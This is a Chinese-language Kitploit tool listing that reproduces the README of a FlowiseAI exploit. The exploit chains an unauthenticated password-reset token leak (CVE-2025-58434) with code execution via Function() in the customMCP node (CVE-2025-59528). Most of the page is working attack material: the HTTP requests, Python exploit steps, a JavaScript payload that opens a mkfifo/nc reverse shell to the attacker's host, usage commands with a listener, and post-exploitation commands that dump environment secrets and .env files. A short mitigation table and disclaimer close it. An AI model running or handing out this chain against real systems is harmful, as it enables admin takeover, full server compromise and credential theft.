Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
FlowiseAI-Critical-KillChain — 严重的未认证杀伤链导致FlowiseAI完全远程代码执行 (CVE-2025-58434 + CVE-2025-59528) | Kitploit
工具/GitHubGitHub/cveteam/flowiseai-critical-killchain
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试身份验证学习与教育红队Payload 开发

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
GitHub
cveteam/flowiseai-critical-killchain

FlowiseAI-Critical-KillChain

严重的未认证杀伤链导致FlowiseAI完全远程代码执行 (CVE-2025-58434 + CVE-2025-59528)

查看仓库
14个月前尚未审核

FlowiseAI — 关键攻击链

未认证的账户接管,结合针对 FlowiseAI <= 3.0.5 的远程代码执行。 在 不足 5 秒内 实现完整容器沦陷,无需任何凭证。


攻击链

FlowiseAI 攻击链示意图
左:FlowiseAI 登录页面 — 右:通过 CVE-2025-59528 获取 root shell · uid=0(root)


目录

  • 工作原理 — 概述
  • 漏洞详情
    • CVE-2025-58434 — 令牌泄露
    • CVE-2025-59528 — 远程代码执行
  • 为何此链致命
  • 利用代码详解
  • 使用方法
  • 后渗透
  • 缓解措施
  • 参考资料

工作原理 — 概述

此利用程序将 两个独立的严重漏洞 串联成一个完全自动化的单次攻击。单独任何一个漏洞都无法保证完全沦陷——但两者结合,就形成了从零凭证到 Docker 容器内 root shell 的完整攻击链。

root@kitploit:~
[无凭证]
      │
      ▼
① 滥用忘记密码接口(无需认证)
      │  → 服务器以明文形式返回受害者的重置令牌
      ▼
② 将令牌提交至重置密码接口
      │  → 攻击者可控制管理员密码
      ▼
③ 登录并获取 Bearer API 密钥
      │  → 建立完整的认证会话
      ▼
④ 通过 customMCP 节点发送 JavaScript 载荷
      │  → 服务器通过 Function() 构造函数执行
      ▼
[Docker 容器内的 Root Shell]

零交互之处: 在整个过程中,受害者不会收到邮件、不会看到登录警报,也不会触发任何可见事件。攻击完全在服务端进行。


漏洞详情

CVE-2025-58434 — 未认证密码重置令牌泄露

CVSS 3.1: 9.8 严重 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
影响范围: FlowiseAI <= 3.0.5(云端 + 自托管)
公告: GHSA-wgpv-6j63-x5ph

根因

FlowiseAI 有一个“内部”请求的概念——即其自身服务之间的 API 调用——通过 x-request-from: internal HTTP 头部标识。/api/v1/account/forgot-password 接口利用该头部 完全跳过身份验证,并返回比外部请求更详细的不同响应。

问题在于:此头部未经任何验证或限制。互联网上的任何攻击者都可以发送它。当他们这样做时,API 不会触发密码重置邮件,而是返回完整的用户记录——包括一个立即可用于设置新密码的 tempToken。

为何有效

通常,密码重置流程如下:

root@kitploit:~
用户请求重置 → 服务器生成令牌 → 令牌通过邮件发送 → 用户点击链接 → 密码已更改

而此处,服务器 完全跳过邮件步骤,直接将令牌放到 HTTP 响应体中。攻击者捕获它后直接进入重置步骤——无需任何邮件访问权限。

请求

root@kitploit:~
POST /api/v1/account/forgot-password HTTP/1.1
Host: <target>
Content-Type: application/json
x-request-from: internal

{"user": {"email": "[email protected]"}}

响应 201 — 完整的用户记录暴露

root@kitploit:~
{
  "user": {
    "email": "[email protected]",
    "credential": "$2a$05$hVtF9EKL0lI1qqrvwTD3QeFMzVlvtk8fAKX...",
    "tempToken": "N5oXQ9C99h0zMNNGWLvoE4buMvcdXN32...",
    "tokenExpiry": "2026-04-11T21:37:03.063Z",
    "status": "active"
  }
}

然后 tempToken 直接提交至重置接口——无需邮件交互、无验证码、无速率限制。


CVE-2025-59528 — 通过 CustomMCP 节点远程代码执行

CVSS 3.1: 10.0 严重 — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
影响范围: FlowiseAI <= 3.0.5
公告: GHSA-3gcm-f6qx-ff7p

根因

FlowiseAI 允许用户定义自定义 MCP(模型上下文协议)节点,其中服务器配置以 JSON 字符串形式提供。在内部,平台需要解析此配置——这通过 JavaScript 的 Function() 构造函数完成,该函数在功能上等同于 eval()。

配置字符串到达处理点时 完全未经净化:

root@kitploit:~
// packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts — line 262
const result = Function('return ' + mcpServerConfig)();
//                       ↑ 未经净化的用户输入 — 任意 JS 执行

为什么 Function() 与 eval() 同样危险

Function('return ' + code)() 做了以下事情:

  1. 用 code 作为函数体构造一个新的 JavaScript 函数
  2. 立即调用它
  3. 返回结果

这给了攻击者 完整的 JavaScript 执行上下文,可以访问 process、require、child_process 以及整个 Node.js 运行时——而不是沙箱。

污点传播 — 从 HTTP 到 shell

root@kitploit:~
HTTP POST /api/v1/node-load-method/customMCP
  └─ body.inputs.mcpServerConfig                  ← 攻击者控制的字符串
       └─ substituteVariablesInString()            ← 无过滤,直接传递
            └─ convertToValidJSONString()          ← 无过滤,直接传递
                 └─ Function('return ' + input)()  ← 任意代码在此执行

注入载荷

root@kitploit:~
({x:(function(){
  const cp = process.mainModule.require("child_process");
  cp.exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc LHOST LPORT >/tmp/f");
  return 1;
})()})

为什么用 mkfifo 而非 /dev/tcp?
容器运行的是 /bin/sh,而不是 /bin/bash。/dev/tcp 是 bash 专属特性——标准 POSIX shell 中没有。mkfifo 创建一个命名的管道,在任何 POSIX 兼容 shell 中均可工作,使得反弹 shell 能够在不同容器环境中移植。


为何此链致命


利用代码详解

利用程序分为 四个连续步骤,每一步都直接对应攻击链的一个阶段。

步骤 1 — 令牌获取(CVE-2025-58434)

root@kitploit:~
r1 = session.post(
    f"{TARGET}/api/v1/account/forgot-password",
    headers={"x-request-from": "internal"},
    json={"user": {"email": EMAIL}}
)
temp_token = r1.json()["user"]["tempToken"]

发生了什么: 服务器认为这是一个内部服务到服务的调用,因为包含 x-request-from: internal 头部。它跳过了正常的邮件发送路径,将完整的用户记录(包括有效的密码重置令牌)直接返回在 HTTP 201 响应体中。

为何有效: 头部检查纯粹基于字符串,没有加密验证。任何调用者都可以设置它。后端不会验证请求的来源。


步骤 2 — 账户接管

root@kitploit:~
session.post(
    f"{TARGET}/api/v1/account/reset-password",
    headers={"x-request-from": "internal"},
    json={"user": {"email": EMAIL, "tempToken": temp_token, "password": NEW_PASS}}
)

发生了什么: 被盗的 tempToken 连同攻击者选择的新密码一起提交。服务器验证令牌(是真的且有效),确认邮箱匹配,然后更新凭证哈希——无需邮件确认、无二次检查。

为何有效: 令牌验证仅检查令牌是否存在且未过期。它不会验证生成令牌的调用者与提交重置的调用者是否相同。所有权从未被验证。


步骤 3 — 会话和 API 密钥提取

root@kitploit:~
# 使用新密码登录
session.post(f"{TARGET}/api/v1/auth/login",
    json={"email": EMAIL, "password": NEW_PASS})

# 获取 RCE 接口所需的 Bearer API 密钥
r4 = session.get(f"{TARGET}/api/v1/apikey")
api_key = r4.json()[0]["apiKey"]

发生了什么: 使用攻击者新密码的正常登录建立了一个完整的管理员会话(基于 cookie)。然后使用该会话获取平台的默认 API 密钥,该密钥是步骤 4 中 node-load-method 接口认证所必需的。

为何有效: 此时攻击者就是管理员——他们拥有凭证。会话和 API 密钥是服务器合法颁发的。


步骤 4 — 远程代码执行(CVE-2025-59528)

root@kitploit:~
js_payload = (
    '({x:(function(){const cp = process.mainModule.require("child_process"); '
    f'cp.exec(`{revshell}`); return 1;}})()'
)
session.post(
    f"{TARGET}/api/v1/node-load-method/customMCP",
    headers={"Authorization": f"Bearer {api_key}"},
    json={"loadMethod": "listActions", "inputs": {"mcpServerConfig": js_payload}}
)

发生了什么: 载荷是一个伪装成 JSON 兼容对象的自调用 JavaScript 函数(IIFE)。当 convertToValidJSONString() 处理它时,该值最终进入 Function('return ' + input)()——它会将其作为具有完整 Node.js 运行时访问权限的活动 JavaScript 执行。child_process.exec() 触发反弹 shell 命令,建立回连到攻击者监听器的连接。

为什么用 IIFE 包装? Function('return ' + x) 模式期望表达式可被返回。将恶意代码包装在 ({x: (function(){ ... })()}) 中使得整个表达式成为有效的 JavaScript,其计算结果为一个对象——这满足了解析器,同时作为副作用执行了载荷。

为什么用 nohup + disown? HTTP 请求有超时。如果不分离进程,shell 会在请求超时时终止。nohup + disown 将反弹 shell 从 Node.js 进程中分离,使其独立存活。


使用方法

root@kitploit:~
# 1. 先启动监听器
nc -lvnp 4444

# 2. 运行完整攻击链
python3 exploit.py -ip <TARGET_IP> -lhost <YOUR_IP> -lport 4444

# 3. 如果管理员密码在之前尝试中已重置
python3 exploit.py -ip <TARGET_IP> -lhost <YOUR_IP> -lport 4444 --skipreset

参数

依赖

root@kitploit:~
pip install requests

后渗透

一旦 shell 建立,容器通常以 root 身份运行,并可访问完整的 FlowiseAI 应用环境:

root@kitploit:~
# 密钥和凭证
env                       # 环境变量中的 API 密钥、数据库 URI、服务凭证
cat .env                  # FlowiseAI 配置文件——数据库密码、JWT 密钥

# 应用内部
ls /app/packages/         # 单体仓库结构——源代码、配置、node_modules
cat /app/packages/server/.env

# 容器上下文
cat /proc/1/cmdline       # PID 1 是什么进程——确认容器环境
hostname                  # 容器 ID
cat /etc/hosts            # 内部网络映射——其他可达服务

# 横向移动候选
env | grep -i "db\|mongo\|postgres\|redis\|key\|secret\|token\|pass"

缓解措施


参考资料

  • FlowiseAI 安全公告 — CVE-2025-58434
  • FlowiseAI 安全公告 — CVE-2025-59528
  • NVD — CVE-2025-58434
  • NVD — CVE-2025-59528
  • OWASP: 测试弱密码更改或重置功能
  • CWE-94: 对代码生成的未恰当控制

免责声明

本仓库及所有相关代码 严格 仅供教育和授权的安全研究使用。

两个漏洞均已公开披露,并在 FlowiseAI 3.0.6 中修复。针对您不拥有或未获得明确书面授权进行测试的系统进行测试,根据适用法律(包括但不限于《计算机欺诈与滥用法案》(CFAA)、《计算机滥用法案》和欧盟 NIS2 指令)属于违法行为。

作者对因滥用此材料造成的任何损害不承担任何责任。


0H4K3D · CVE Team

下载工具
属性详情
无需凭证攻击者一开始只拥有目标 IP
零受害者交互无钓鱼、无点击、无社会工程
无速率限制重置接口无节流——必要时可暴力破解
无验证码重置流程无人机验证
无需邮件确认密码更改立即生效、静默、不可逆
完整的 Node.js 运行时可用于 RCEchild_process、文件系统、网络——无沙箱
在 Docker 中以 root 运行容器通常以 root 启动,具有完整文件系统访问权限
影响云端及自托管任何 <= 3.0.5 的部署均受影响
标志说明必需
-ip目标 IP 地址✅
-lhost您的 IP,用于反弹 shell 回连✅
-lport您的监听端口✅
--skipreset跳过 CVE-2025-58434(阶段 1 和 2)——如果账户已沦陷则使用❌
修复优先级
升级至 FlowiseAI ≥ 3.0.6🔴 立即
在反向代理处拦截 x-request-from: internal——它绝不应来自互联网🔴 立即
将 /api/v1/account/* 限制为仅认证会话🔴 立即
净化 mcpServerConfig——切勿将用户输入传递给 Function() 或 eval()🔴 立即
为所有密码重置接口添加速率限制和验证码🔴 立即
如果不需要公网暴露,将 FlowiseAI 实例与互联网隔离🟠 高
以非 root 用户运行容器🟠 高
对密码重置和 MCP 接口启用异常检测🟡 中
审计所有接受 x-request-from 的接口,并确认它们无法被外部调用🟡 中